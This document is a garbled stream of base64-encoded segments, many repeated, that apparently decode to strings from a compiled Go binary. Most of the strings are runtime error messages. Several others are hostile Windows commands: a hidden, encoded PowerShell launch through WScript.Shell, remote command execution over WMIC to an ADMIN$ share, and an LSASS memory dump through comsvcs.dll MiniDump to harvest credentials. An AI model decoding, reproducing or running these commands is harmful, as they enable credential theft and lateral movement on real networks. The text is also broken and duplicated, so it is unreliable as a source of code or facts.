bHVzaEZpbGVCdWZmZXJzR2V0Q29tcHV0ZXJOYW1lV0dldEZ1bGxQYXRoTmFtZVdHZXRMb25nUGF0aE5hbWVXUmVtb3ZlRGlyZWN0b3J5V05ldEFwaUJ1ZmZlckZyZWVHT0RFQlVHOiB2YWx1ZSAiYWxsb3dtdWx0aXBsZXZjc2h0dHBjb29raWVtYXhudW0nKSkod2luZG93LmNsb3NlKTAxMjM0NTY3ODlBQkNERUZYMDEyMzQ1Njc4OWFiY2RlZnhyZWZsZWN0LlZhbHVlLkludHdpbnJlYWRsaW5rdm9sdW1lZXhlYzoga2lsbGluZyBDbWRleGVjOiBub3Qgc3RhcnRlZEdUQiBTdGFuZGFyZCBUaW1lRkxFIFN0YW5kYXJkIFRpbWVHTVQgU3RhbmRhcmQgVGltZTExOTIwOTI4OTU1MDc4MTI1NTk2MDQ2NDQ3NzUzOTA2MjV1bmtub3duIHR5cGUga2luZHJlZmxlY3Q6IGNhbGwgb2YgcmVmbGVjdC5WYWx1ZS5MZW5nb3JvdXRpbmUgcHJvZmlsZUFsbFRocmVhZHNTeXNjYWxsY29udGFpbmVybWF4cHJvY3NHQyBhc3Npc3QgbWFya2luZ3NlbGVjdCAobm8gY2FzZXMpc3luYy5SV011dGV4LkxvY2t3YWl0IGZvciBHQyBjeWNsZXRyYWNlIHByb2Mgc3RhdHVzc3luYy4oKkNvbmQpLldhaXQ6IG1pc3NpbmcgbWV0aG9kIG5vdGV0c2xlZXBnIG9uIGcwYmFkIFRpbnlTaXplQ2xhc3NpbW1vcnRhbCBtZXRhZGF0YXJ1bnQ=a4:T554,YW5ub3QgZXhlYyBhIHNoYXJlZCBsaWJyYXJ5IGRpcmVjdGx5dmFsdWUgdG9vIGxhcmdlIGZvciBkZWZpbmVkIGRhdGEgdHlwZWdvZGVidWc6IHVuZXhwZWN0ZWQgSW5jTm9uRGVmYXVsdCBvZiBiaXNlY3QuSGFzaDogdW5leHBlY3RlZCBhcmd1bWVudCB0eXBldGltZTogbWlzc2luZyBMb2NhdGlvbiBpbiBjYWxsIHRvIERhdGUxMTEwMjIzMDI0NjI1MTU2NTQwNDIzNjMxNjY4MDkwODIwMzEyNTU1NTExMTUxMjMxMjU3ODI3MDIxMTgxNTgzNDA0NTQxMDE1NjI1aW5kZXggb3V0IG9mIHJhbmdlIFsleF0gd2l0aCBsZW5ndGggJXltIGNoYW5nZWQgdW5leHBlY3RlZGx5IGluIGNnb2NhbGxiYWNrZ21ha2VjaGFuOiBpbnZhbGlkIGNoYW5uZWwgZWxlbWVudCB0eXBldW5yZWFjaGFibGUgbWV0aG9kIGNhbGxlZC4gbGlua2VyIGJ1Zz9nY0JnTWFya1dvcmtlcjogYmxhY2tlbmluZyBub3QgZW5hYmxlZGNhbm5vdCByZWFkIHN0YWNrIG9mIHJ1bm5pbmcgZ29yb3V0aW5lcnVudGltZTogYmxvY2tlZCByZWFkIG9uIGZyZWUgcG9sbGRlc2NydW50aW1lOiBMb2FkTGlicmFyeUV4VyBmYWlsZWQ7IGVycm5vPXJ1bnRpbWU6IEdldFByb2NBZGRyZXNzIGZhaWxlZDsgZXJybm89cnVudGltZTogc3Vkb2cgd2l0aCBub24tZmFsc2UgaXNTZWxlY3Rhcmcgc2l6ZSB0byByZWZsZWN0LmNhbGwgbW9yZSB0aGFuIDFHQnYgY291bGQgbm90IGZpdCBpbiB0cmFjZUJ5dGVzUGVyTnVtYmVyY2FuIG5vdCBhY2Nlc3MgYSBuZWVkZWQgc2hhcmVkIGxpYnJhcnljb25jdXJyZW50IG1hcCBpdGVyYXRpb24gYW5kIG1hcCB3cml0ZWV4ZWM6IGVudmlyb25tZW50IHZhcmlhYmxlIGNvbnRhaW5zIE5VTDIwMDYtMDEtMDIgMTU6MDQ6MDUuOTk5OTk5OTk5IC0wNzAwIE1TVDI3NzU1NTc1NjE1NjI4OTEzNTEwNTkwNzkxNzAyMjcwNTA3ODEyNW1pc21hdGNoZWQgY291bnQgZHVyaW5nIGl0YWIgdGFibGUgY29weW91dCBvZiBtZW1vcnkgYWxsb2NhdGluZyBoZWFwIGFyZW5hIG1hcC9jcHUvY2xhc3Nlcy9nYy9tYXJrL2Fzc2lzdDpjcHUtc2Vja5:T558,YW5ub3QgZXhlYyBhIHNoYXJlZCBsaWJyYXJ5IGRpcmVjdGx5dmFsdWUgdG9vIGxhcmdlIGZvciBkZWZpbmVkIGRhdGEgdHlwZWdvZGVidWc6IHVuZXhwZWN0ZWQgSW5jTm9uRGVmYXVsdCBvZiBiaXNlY3QuSGFzaDogdW5leHBlY3RlZCBhcmd1bWVudCB0eXBldGltZTogbWlzc2luZyBMb2NhdGlvbiBpbiBjYWxsIHRvIERhdGUxMTEwMjIzMDI0NjI1MTU2NTQwNDIzNjMxNjY4MDkwODIwMzEyNTU1NTExMTUxMjMxMjU3ODI3MDIxMTgxNTgzNDA0NTQxMDE1NjI1aW5kZXggb3V0IG9mIHJhbmdlIFsleF0gd2l0aCBsZW5ndGggJXltIGNoYW5nZWQgdW5leHBlY3RlZGx5IGluIGNnb2NhbGxiYWNrZ21ha2VjaGFuOiBpbnZhbGlkIGNoYW5uZWwgZWxlbWVudCB0eXBldW5yZWFjaGFibGUgbWV0aG9kIGNhbGxlZC4gbGlua2VyIGJ1Zz9nY0JnTWFya1dvcmtlcjogYmxhY2tlbmluZyBub3QgZW5hYmxlZGNhbm5vdCByZWFkIHN0YWNrIG9mIHJ1bm5pbmcgZ29yb3V0aW5lcnVudGltZTogYmxvY2tlZCByZWFkIG9uIGZyZWUgcG9sbGRlc2NydW50aW1lOiBMb2FkTGlicmFyeUV4VyBmYWlsZWQ7IGVycm5vPXJ1bnRpbWU6IEdldFByb2NBZGRyZXNzIGZhaWxlZDsgZXJybm89cnVudGltZTogc3Vkb2cgd2l0aCBub24tZmFsc2UgaXNTZWxlY3Rhcmcgc2l6ZSB0byByZWZsZWN0LmNhbGwgbW9yZSB0aGFuIDFHQnYgY291bGQgbm90IGZpdCBpbiB0cmFjZUJ5dGVzUGVyTnVtYmVyY2FuIG5vdCBhY2Nlc3MgYSBuZWVkZWQgc2hhcmVkIGxpYnJhcnljb25jdXJyZW50IG1hcCBpdGVyYXRpb24gYW5kIG1hcCB3cml0ZWV4ZWM6IGVudmlyb25tZW50IHZhcmlhYmxlIGNvbnRhaW5zIE5VTDIwMDYtMDEtMDIgMTU6MDQ6MDUuOTk5OTk5OTk5IC0wNzAwIE1TVDI3NzU1NTc1NjE1NjI4OTEzNTEwNTkwNzkxNzAyMjcwNTA3ODEyNW1pc21hdGNoZWQgY291bnQgZHVyaW5nIGl0YWIgdGFibGUgY29weW91dCBvZiBtZW1vcnkgYWxsb2NhdGluZyBoZWFwIGFyZW5hIG1hcC9jcHUvY2xhc3Nlcy9nYy9tYXJrL2Fzc2lzdDpjcHUtc2Vjbw==a6:T550,YmFkIGcwIHN0YWNrc2VsZi1wcmVlbXB0IFtyZWNvdmVyZWRdYmFkIHJlY292ZXJ5YmFkIGcgc3RhdHVzZW50ZXJzeXNjYWxsd2lyZXA6IHAtPm09KSBwLT5zdGF0dXM9cmVsZWFzZXA6IG09IHN5c21vbndhaXQ9IHByZWVtcHRvZmY9Y2FzNjQgZmFpbGVkIG0tPmdzaWduYWw9LWJ5dGUgbGltaXRydW50aW1lOiBzcD1hYmkgbWlzbWF0Y2h3cm9uZyB0aW1lcnN0cmFjZSBidWZmZXJpbnZhbGlkIHNsb3Rob3N0IGlzIGRvd25pbGxlZ2FsIHNlZWtHZXRMZW5ndGhTaWRHZXRMYXN0RXJyb3JHZXRTdGRIYW5kbGVHZXRUZW1wUGF0aFdMb2FkTGlicmFyeVdSZWFkQ29uc29sZVdTZXRFbmRPZkZpbGVUcmFuc21pdEZpbGVHZXRBZGRySW5mb1dub3QgcG9sbGFibGVnb3R5cGVzYWxpYXNodHRwbXV4Z28xMjFtdWx0aXBhdGh0Y3ByYW5kYXV0b3NlZWR0bHN1bnNhZmVla20xOTIuMTY4LjEuMTAwRmluZEZpcnN0RmlsZTM4MTQ2OTcyNjU2MjVkYWxUTERwU3VnY3Q/R2V0VGVtcFBhdGgyV01vZHVsZTMyTmV4dFdSdGxHZXRWZXJzaW9ud2FrZWFibGVTbGVlcHByb2ZNZW1BY3RpdmVwcm9mTWVtRnV0dXJldHJhY2VTdGFja1RhYmV4ZWNSSW50ZXJuYWx0ZXN0UkludGVybmFsR0Mgc3dlZXAgd2FpdHN5bmN0ZXN0LldhaXRvdXQgb2YgbWVtb3J5IGlzIG5pbCwgbm90IHZhbHVlIG1ldGhvZCBoZWFwIG1ldGFkYXRhIHNwYW4uYmFzZSgpPWJhZCBmbHVzaEdlbiBjcmVhdGVkIGF0OiAsIG5vdCBwb2ludGVyICE9IHN3ZWVwZ2VuICBNQiBnbG9iYWxzLCAgd29yay5ucHJvYz0gIHdvcmsubndhaXQ9ICBuU3RhY2tSb290cz0gZmx1c2hlZFdvcmsgZG91YmxlIHVubG9jayBzLnNwYW5jbGFzcz0gTUIpIHdvcmtlcnM9bWluIHRvbyBsYXJnZS1ieXRlIGJsb2NrIChydW50aW1lOiB2YWw9cnVudGltZTogc2VxPWZhdGFsIGVycm9yOiAgaWRsZXRocmVhZHM9IHN5c2NhbGx0aWNrPWxvYWQ2NCBmYWlsZWR4YWRkNjQgZmFpbGVkeGNoZzY0IGZhaWxlZG5pbCBzdGFja2Jhc2V9c2NoZWQ9e3BjOiwgZ3AtPnN0YXR1cz0gcGx1Z2k=a7:T550,YmFkIGcwIHN0YWNrc2VsZi1wcmVlbXB0IFtyZWNvdmVyZWRdYmFkIHJlY292ZXJ5YmFkIGcgc3RhdHVzZW50ZXJzeXNjYWxsd2lyZXA6IHAtPm09KSBwLT5zdGF0dXM9cmVsZWFzZXA6IG09IHN5c21vbndhaXQ9IHByZWVtcHRvZmY9Y2FzNjQgZmFpbGVkIG0tPmdzaWduYWw9LWJ5dGUgbGltaXRydW50aW1lOiBzcD1hYmkgbWlzbWF0Y2h3cm9uZyB0aW1lcnN0cmFjZSBidWZmZXJpbnZhbGlkIHNsb3Rob3N0IGlzIGRvd25pbGxlZ2FsIHNlZWtHZXRMZW5ndGhTaWRHZXRMYXN0RXJyb3JHZXRTdGRIYW5kbGVHZXRUZW1wUGF0aFdMb2FkTGlicmFyeVdSZWFkQ29uc29sZVdTZXRFbmRPZkZpbGVUcmFuc21pdEZpbGVHZXRBZGRySW5mb1dub3QgcG9sbGFibGVnb3R5cGVzYWxpYXNodHRwbXV4Z28xMjFtdWx0aXBhdGh0Y3ByYW5kYXV0b3NlZWR0bHN1bnNhZmVla20xOTIuMTY4LjEuMTAwRmluZEZpcnN0RmlsZTM4MTQ2OTcyNjU2MjVkYWxUTERwU3VnY3Q/R2V0VGVtcFBhdGgyV01vZHVsZTMyTmV4dFdSdGxHZXRWZXJzaW9ud2FrZWFibGVTbGVlcHByb2ZNZW1BY3RpdmVwcm9mTWVtRnV0dXJldHJhY2VTdGFja1RhYmV4ZWNSSW50ZXJuYWx0ZXN0UkludGVybmFsR0Mgc3dlZXAgd2FpdHN5bmN0ZXN0LldhaXRvdXQgb2YgbWVtb3J5IGlzIG5pbCwgbm90IHZhbHVlIG1ldGhvZCBoZWFwIG1ldGFkYXRhIHNwYW4uYmFzZSgpPWJhZCBmbHVzaEdlbiBjcmVhdGVkIGF0OiAsIG5vdCBwb2ludGVyICE9IHN3ZWVwZ2VuICBNQiBnbG9iYWxzLCAgd29yay5ucHJvYz0gIHdvcmsubndhaXQ9ICBuU3RhY2tSb290cz0gZmx1c2hlZFdvcmsgZG91YmxlIHVubG9jayBzLnNwYW5jbGFzcz0gTUIpIHdvcmtlcnM9bWluIHRvbyBsYXJnZS1ieXRlIGJsb2NrIChydW50aW1lOiB2YWw9cnVudGltZTogc2VxPWZhdGFsIGVycm9yOiAgaWRsZXRocmVhZHM9IHN5c2NhbGx0aWNrPWxvYWQ2NCBmYWlsZWR4YWRkNjQgZmFpbGVkeGNoZzY0IGZhaWxlZG5pbCBzdGFja2Jhc2V9c2NoZWQ9e3BjOiwgZ3AtPnN0YXR1cz0gcGx1Z2lua8:T550,YmUgYSBwb3dlciBvZiAyc3lzdGVtIGh1Z2UgcGFnZSBzaXplIChydW50aW1lOiBzLmFsbG9jQ291bnQ9IHMuYWxsb2NDb3VudCA+IHMubmVsZW1zL2djL2hlYXAvYWxsb2NzOm9iamVjdHNydW50aW1lOiBpbnRlcm5hbCBlcnJvcndvcmsubndhaXQgPiB3b3JrLm5wcm9jbGVmdCBvdmVyIG1hcmtyb290IGpvYnNnY0RyYWluIHBoYXNlIGluY29ycmVjdE1CIGR1cmluZyBzd2VlcDsgc3dlcHQgYmFkIHByb2ZpbGUgc3RhY2sgY291bnRydW50aW1lOiBuZXRwb2xsIGZhaWxlZHBhbmljIGR1cmluZyBwcmVlbXB0b2ZmbmFub3RpbWUgcmV0dXJuaW5nIHplcm9mYXRhbDogbW9yZXN0YWNrIG9uIGcwdGhlIGN1cnJlbnQgZyBpcyBub3QgZzBzY2hlZHVsZTogaG9sZGluZyBsb2Nrc3Byb2NyZXNpemU6IGludmFsaWQgYXJnc3BhbiBoYXMgbm8gZnJlZSBzdGFja3NzdGFjayBncm93dGggYWZ0ZXIgZm9ya3Nocmlua3N0YWNrIGF0IGJhZCB0aW1lcmVmbGVjdC5tZXRob2RWYWx1ZUNhbGxkZXZpY2Ugb3IgcmVzb3VyY2UgYnVzeWludGVycnVwdGVkIHN5c3RlbSBjYWxsbm8gc3BhY2UgbGVmdCBvbiBkZXZpY2VvcGVyYXRpb24gbm90IHN1cHBvcnRlZG9wZXJhdGlvbiBub3QgcGVybWl0dGVkQ2VydEdldENlcnRpZmljYXRlQ2hhaW5GcmVlRW52aXJvbm1lbnRTdHJpbmdzV0dldEVudmlyb25tZW50VmFyaWFibGVXR2V0U3lzdGVtVGltZUFzRmlsZVRpbWVTZXRFbnZpcm9ubWVudFZhcmlhYmxlVyIsIG1pc3NpbmcgQ1BVIHN1cHBvcnRleGl0IGhvb2sgaW52b2tlZCBwYW5pY3BhdHRlcm4gYml0cyB0b28gbG9uZzogU0EgUGFjaWZpYyBTdGFuZGFyZCBUaW1lU0EgRWFzdGVybiBTdGFuZGFyZCBUaW1lVVMgRWFzdGVybiBTdGFuZGFyZCBUaW1lU0EgV2VzdGVybiBTdGFuZGFyZCBUaW1lTW9udGV2aWRlbyBTdGFuZGFyZCBUaW1lTWFnYWxsYW5lcyBTdGFuZGFyZCBUaW1lUGFjaWZpYyBTQSBTdGFuZGFyZCBUaW1lQXplcmJhaWphbiBTdGFuZGFyZCBUaW1lQmFuZ2xhZGVzaCBTdGFuZGFyZCBUaW1lTm9ydGggQXM=a9:T550,YmUgYSBwb3dlciBvZiAyc3lzdGVtIGh1Z2UgcGFnZSBzaXplIChydW50aW1lOiBzLmFsbG9jQ291bnQ9IHMuYWxsb2NDb3VudCA+IHMubmVsZW1zL2djL2hlYXAvYWxsb2NzOm9iamVjdHNydW50aW1lOiBpbnRlcm5hbCBlcnJvcndvcmsubndhaXQgPiB3b3JrLm5wcm9jbGVmdCBvdmVyIG1hcmtyb290IGpvYnNnY0RyYWluIHBoYXNlIGluY29ycmVjdE1CIGR1cmluZyBzd2VlcDsgc3dlcHQgYmFkIHByb2ZpbGUgc3RhY2sgY291bnRydW50aW1lOiBuZXRwb2xsIGZhaWxlZHBhbmljIGR1cmluZyBwcmVlbXB0b2ZmbmFub3RpbWUgcmV0dXJuaW5nIHplcm9mYXRhbDogbW9yZXN0YWNrIG9uIGcwdGhlIGN1cnJlbnQgZyBpcyBub3QgZzBzY2hlZHVsZTogaG9sZGluZyBsb2Nrc3Byb2NyZXNpemU6IGludmFsaWQgYXJnc3BhbiBoYXMgbm8gZnJlZSBzdGFja3NzdGFjayBncm93dGggYWZ0ZXIgZm9ya3Nocmlua3N0YWNrIGF0IGJhZCB0aW1lcmVmbGVjdC5tZXRob2RWYWx1ZUNhbGxkZXZpY2Ugb3IgcmVzb3VyY2UgYnVzeWludGVycnVwdGVkIHN5c3RlbSBjYWxsbm8gc3BhY2UgbGVmdCBvbiBkZXZpY2VvcGVyYXRpb24gbm90IHN1cHBvcnRlZG9wZXJhdGlvbiBub3QgcGVybWl0dGVkQ2VydEdldENlcnRpZmljYXRlQ2hhaW5GcmVlRW52aXJvbm1lbnRTdHJpbmdzV0dldEVudmlyb25tZW50VmFyaWFibGVXR2V0U3lzdGVtVGltZUFzRmlsZVRpbWVTZXRFbnZpcm9ubWVudFZhcmlhYmxlVyIsIG1pc3NpbmcgQ1BVIHN1cHBvcnRleGl0IGhvb2sgaW52b2tlZCBwYW5pY3BhdHRlcm4gYml0cyB0b28gbG9uZzogU0EgUGFjaWZpYyBTdGFuZGFyZCBUaW1lU0EgRWFzdGVybiBTdGFuZGFyZCBUaW1lVVMgRWFzdGVybiBTdGFuZGFyZCBUaW1lU0EgV2VzdGVybiBTdGFuZGFyZCBUaW1lTW9udGV2aWRlbyBTdGFuZGFyZCBUaW1lTWFnYWxsYW5lcyBTdGFuZGFyZCBUaW1lUGFjaWZpYyBTQSBTdGFuZGFyZCBUaW1lQXplcmJhaWphbiBTdGFuZGFyZCBUaW1lQmFuZ2xhZGVzaCBTdGFuZGFyZCBUaW1lTm9ydGggQXNpaa:T554,Y2xlYXIgbm9uLWVtcHR5IHNwYW4gc2V0cnVudGltZTogY2xvc2UgcG9sbGRlc2Mgdy9vIHVuYmxvY2tOdENyZWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGZhaWxlZGZpbmRydW5uYWJsZTogbmV0cG9sbCB3aXRoIHNwaW5uaW5ncGlkbGVwdXQ6IFAgaGFzIG5vbi1lbXB0eSBydW4gcXVldWVmYWtlIHRpbWVyIGV4ZWN1dGluZyB3aXRoIG5vIGJ1YmJsZXRyYWNlYmFjayBkaWQgbm90IHVud2luZCBjb21wbGV0ZWx5cnVudGltZTogY3JlYXRlZXZlbnQgZmFpbGVkOyBlcnJubz1uZXR3b3JrIGRyb3BwZWQgY29ubmVjdGlvbiBvbiByZXNldHRyYW5zcG9ydCBlbmRwb2ludCBpcyBub3QgY29ubmVjdGVkZmlsZSB0eXBlIGRvZXMgbm90IHN1cHBvcnQgZGVhZGxpbmU0NDQwODkyMDk4NTAwNjI2MTYxNjk0NTI2NjcyMzYzMjgxMjVyeXVGdG9hRml4ZWQ2NCBjYWxsZWQgd2l0aCBwcmVjID4gMTgwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXptZXRob2QgQUJJIGFuZCB2YWx1ZSBBQkkgZG9uJ3QgYWxpZ25sZnN0YWNrIG5vZGUgYWxsb2NhdGVkIGZyb20gdGhlIGhlYXApIGlzIGxhcmdlciB0aGFuIG1heGltdW0gcGFnZSBzaXplIChvYmplY3RzIHdpdGggcG9pbnRlcnMgbXVzdCBiZSB6ZXJvZWRydW50aW1lOiBpbnZhbGlkIHR5cGVCaXRzQnVsa0JhcnJpZXJ1bmNhY2hpbmcgc3BhbiBidXQgcy5hbGxvY0NvdW50ID09IDBTY2FuIHRyYWNlIGZvciBjbGVhbnVwL2ZpbmFsaXplciBvbiAvbWVtb3J5L2NsYXNzZXMvbWV0YWRhdGEvb3RoZXI6Ynl0ZXMvc2NoZWQvcGF1c2VzL3N0b3BwaW5nL290aGVyOnNlY29uZHN1c2VyIGFyZW5hIHNwYW4gaXMgb24gdGhlIHdyb25nIGxpc3RydW50aW1lOiBtYXJrZWQgZnJlZSBvYmplY3QgaW4gc3BhbiBydW50aW1lOiB1bmJsb2NrIG9uIGNsb3NpbmcgcG9sbGRlc2NVbmFibGUgdG8gZGV0ZXJtaW5lIHN5c3RlbSBkaXJlY3RvcnlydW50aW1lOiBWaXJ0dWFsUXVlcnkgZmFpbGVkOyBlcnJubz1ydW50aW1lOiBzdWRvZyB3aXRoIG5vbi1uaWwgd2FpdGxpbms=ab:T554,Y2xlYXIgbm9uLWVtcHR5IHNwYW4gc2V0cnVudGltZTogY2xvc2UgcG9sbGRlc2Mgdy9vIHVuYmxvY2tOdENyZWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGZhaWxlZGZpbmRydW5uYWJsZTogbmV0cG9sbCB3aXRoIHNwaW5uaW5ncGlkbGVwdXQ6IFAgaGFzIG5vbi1lbXB0eSBydW4gcXVldWVmYWtlIHRpbWVyIGV4ZWN1dGluZyB3aXRoIG5vIGJ1YmJsZXRyYWNlYmFjayBkaWQgbm90IHVud2luZCBjb21wbGV0ZWx5cnVudGltZTogY3JlYXRlZXZlbnQgZmFpbGVkOyBlcnJubz1uZXR3b3JrIGRyb3BwZWQgY29ubmVjdGlvbiBvbiByZXNldHRyYW5zcG9ydCBlbmRwb2ludCBpcyBub3QgY29ubmVjdGVkZmlsZSB0eXBlIGRvZXMgbm90IHN1cHBvcnQgZGVhZGxpbmU0NDQwODkyMDk4NTAwNjI2MTYxNjk0NTI2NjcyMzYzMjgxMjVyeXVGdG9hRml4ZWQ2NCBjYWxsZWQgd2l0aCBwcmVjID4gMTgwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXptZXRob2QgQUJJIGFuZCB2YWx1ZSBBQkkgZG9uJ3QgYWxpZ25sZnN0YWNrIG5vZGUgYWxsb2NhdGVkIGZyb20gdGhlIGhlYXApIGlzIGxhcmdlciB0aGFuIG1heGltdW0gcGFnZSBzaXplIChvYmplY3RzIHdpdGggcG9pbnRlcnMgbXVzdCBiZSB6ZXJvZWRydW50aW1lOiBpbnZhbGlkIHR5cGVCaXRzQnVsa0JhcnJpZXJ1bmNhY2hpbmcgc3BhbiBidXQgcy5hbGxvY0NvdW50ID09IDBTY2FuIHRyYWNlIGZvciBjbGVhbnVwL2ZpbmFsaXplciBvbiAvbWVtb3J5L2NsYXNzZXMvbWV0YWRhdGEvb3RoZXI6Ynl0ZXMvc2NoZWQvcGF1c2VzL3N0b3BwaW5nL290aGVyOnNlY29uZHN1c2VyIGFyZW5hIHNwYW4gaXMgb24gdGhlIHdyb25nIGxpc3RydW50aW1lOiBtYXJrZWQgZnJlZSBvYmplY3QgaW4gc3BhbiBydW50aW1lOiB1bmJsb2NrIG9uIGNsb3NpbmcgcG9sbGRlc2NVbmFibGUgdG8gZGV0ZXJtaW5lIHN5c3RlbSBkaXJlY3RvcnlydW50aW1lOiBWaXJ0dWFsUXVlcnkgZmFpbGVkOyBlcnJubz1ydW50aW1lOiBzdWRvZyB3aXRoIG5vbi1uaWwgd2FpdGxpbmtyac:T550,Q29tbWFuZENvbnRleHRydW50aW1lOiBHZXRRdWV1ZWRDb21wbGV0aW9uU3RhdHVzRXggcmV0dXJuZWQgbmV0X29wIHdpdGggaW52YWxpZCBrZXk9IHRvbyBtYW55IGNvbmN1cnJlbnQgb3BlcmF0aW9ucyBvbiBhIHNpbmdsZSBmaWxlIG9yIHNvY2tldCAobWF4IDEwNDg1NzUpQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikuUnVuICJwb3dlcnNoZWxsIC1Ob1AgLU5vbkkgLVcgSGlkZGVuIC1FbmMgcnVudGltZTogR2V0UXVldWVkQ29tcGxldGlvblN0YXR1c0V4IHJldHVybmVkIG5ldF9vcCB3aXRoIGludmFsaWQgbW9kZT0gcnVudGltZS5Hb2V4aXQgY2FsbGVkIGluIGEgdGhyZWFkIHRoYXQgd2FzIG5vdCBjcmVhdGVkIGJ5IHRoZSBHbyBydW50aW1ld21pYyAvbm9kZToiJXMiIHByb2Nlc3MgY2FsbCBjcmVhdGUgImNtZCAvYyB3aG9hbWkgPiBcXFxcJXNcXEFETUlOJFxceC50eHQiTWFwSXRlci5OZXh0IGNhbGxlZCBvbiBhbiBpdGVyYXRvciB0aGF0IGRvZXMgbm90IGhhdmUgYW4gYXNzb2NpYXRlZCBtYXAgVmFsdWVOdENyZWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGV4aXN0cyBidXQgTnRDYW5jZWxXYWl0Q29tcGxldGlvblBhY2tldCBkb2VzIG5vdGNhbm5vdCBjb252ZXJ0IHNsaWNlIHdpdGggbGVuZ3RoICV5IHRvIGFycmF5IG9yIHBvaW50ZXIgdG8gYXJyYXkgd2l0aCBsZW5ndGggJXhOdENyZWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGV4aXN0cyBidXQgTnRBc3NvY2lhdGVXYWl0Q29tcGxldGlvblBhY2tldCBkb2VzIG5vdCAoYmFkIHVzZSBvZiB1bnNhZmUuUG9pbnRlciBvciBoYXZpbmcgcmFjZSBjb25kaXRpb25zPyB0cnkgLWQ9Y2hlY2twdHIgb3IgLXJhY2UpcnVuZGxsMzIgJVdJTkRJUiVcU3lzdGVtMzJcY29tc3Zjcy5kbGwsIE1pbmlEdW1wIChHZXQtUHJvY2VzcyBsc2FzcykuSWQgTlVMIGZ1bGxleHBlY3RlZCBhbGwgc2l6ZSBjbGFzc2VzIHVwIHRvIG1pbiBzaXplIGZvciBtYWxsb2MgaGVhZGVyIHRvIGZpdCBpbiBvbmUtcGFnZSBzcGFuc3JlZmxlY3QuVmFsdWUuSW50ad:T554,Q29tbWFuZENvbnRleHRydW50aW1lOiBHZXRRdWV1ZWRDb21wbGV0aW9uU3RhdHVzRXggcmV0dXJuZWQgbmV0X29wIHdpdGggaW52YWxpZCBrZXk9IHRvbyBtYW55IGNvbmN1cnJlbnQgb3BlcmF0aW9ucyBvbiBhIHNpbmdsZSBmaWxlIG9yIHNvY2tldCAobWF4IDEwNDg1NzUpQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikuUnVuICJwb3dlcnNoZWxsIC1Ob1AgLU5vbkkgLVcgSGlkZGVuIC1FbmMgcnVudGltZTogR2V0UXVldWVkQ29tcGxldGlvblN0YXR1c0V4IHJldHVybmVkIG5ldF9vcCB3aXRoIGludmFsaWQgbW9kZT0gcnVudGltZS5Hb2V4aXQgY2FsbGVkIGluIGEgdGhyZWFkIHRoYXQgd2FzIG5vdCBjcmVhdGVkIGJ5IHRoZSBHbyBydW50aW1ld21pYyAvbm9kZToiJXMiIHByb2Nlc3MgY2FsbCBjcmVhdGUgImNtZCAvYyB3aG9hbWkgPiBcXFxcJXNcXEFETUlOJFxceC50eHQiTWFwSXRlci5OZXh0IGNhbGxlZCBvbiBhbiBpdGVyYXRvciB0aGF0IGRvZXMgbm90IGhhdmUgYW4gYXNzb2NpYXRlZCBtYXAgVmFsdWVOdENyZWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGV4aXN0cyBidXQgTnRDYW5jZWxXYWl0Q29tcGxldGlvblBhY2tldCBkb2VzIG5vdGNhbm5vdCBjb252ZXJ0IHNsaWNlIHdpdGggbGVuZ3RoICV5IHRvIGFycmF5IG9yIHBvaW50ZXIgdG8gYXJyYXkgd2l0aCBsZW5ndGggJXhOdENyZWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGV4aXN0cyBidXQgTnRBc3NvY2lhdGVXYWl0Q29tcGxldGlvblBhY2tldCBkb2VzIG5vdCAoYmFkIHVzZSBvZiB1bnNhZmUuUG9pbnRlciBvciBoYXZpbmcgcmFjZSBjb25kaXRpb25zPyB0cnkgLWQ9Y2hlY2twdHIgb3IgLXJhY2UpcnVuZGxsMzIgJVdJTkRJUiVcU3lzdGVtMzJcY29tc3Zjcy5kbGwsIE1pbmlEdW1wIChHZXQtUHJvY2VzcyBsc2FzcykuSWQgTlVMIGZ1bGxleHBlY3RlZCBhbGwgc2l6ZSBjbGFzc2VzIHVwIHRvIG1pbiBzaXplIGZvciBtYWxsb2MgaGVhZGVyIHRvIGZpdCBpbiBvbmUtcGFnZSBzcGFuc3JlZmxlY3QuVmFsdWUuSW50ZQ==ae:T554,ZWQgaXRlcmF0b3IgYnl0ZXM7IGluY29tcGF0aWJsZSB3aXRoIG11dGV4IGZsYWcgbWFzayBwZXJzaXN0ZW50YWxsb2M6IGFsaWduIGlzIG5vdCBhIHBvd2VyIG9mIDIvY3B1L2NsYXNzZXMvZ2MvbWFyay9kZWRpY2F0ZWQ6Y3B1LXNlY29uZHMvbWVtb3J5L2NsYXNzZXMvbWV0YWRhdGEvbWNhY2hlL2ZyZWU6Ynl0ZXMvbWVtb3J5L2NsYXNzZXMvbWV0YWRhdGEvbXNwYW4vaW51c2U6Ynl0ZXNub24tZW1wdHkgbWFyayBxdWV1ZSBhZnRlciBjb25jdXJyZW50IG1hcmtzd2VlcDogdHJpZWQgdG8gcHJlc2VydmUgYSB1c2VyIGFyZW5hIHNwYW5ydW50aW1lOiBibG9ja2VkIHdyaXRlIG9uIGNsb3NpbmcgcG9sbGRlc2NhY3F1aXJlU3Vkb2c6IGZvdW5kIHMuZWxlbSAhPSBuaWwgaW4gY2FjaGVmYXRhbCBlcnJvcjogY2dvIGNhbGxiYWNrIGJlZm9yZSBjZ28gY2FsbG9uIGEgbG9ja2VkIHRocmVhZCB3aXRoIG5vIHRlbXBsYXRlIHRocmVhZHVuZXhwZWN0ZWQgc2lnbmFsIGR1cmluZyBydW50aW1lIGV4ZWN1dGlvbnN0b3Agb2Ygc3luY3Rlc3QgdGltZXIgZnJvbSBvdXRzaWRlIGJ1YmJsZXRyYWNlU3RvcFJlYWRDUFUgY2FsbGVkIHdpdGggdHJhY2UgZW5hYmxlZGF0dGVtcHRlZCB0byB0cmFjZSBhIGJhZCBzdGF0dXMgZm9yIGEgcHJvY291dCBvZiBtZW1vcnkgYWxsb2NhdGluZyBjaGVja21hcmtzIGJpdG1hcGV4ZWM6IFdhaXREZWxheSBleHBpcmVkIGJlZm9yZSBJL08gY29tcGxldGVtdWx0NjRiaXRQb3cxMDogcG93ZXIgb2YgMTAgaXM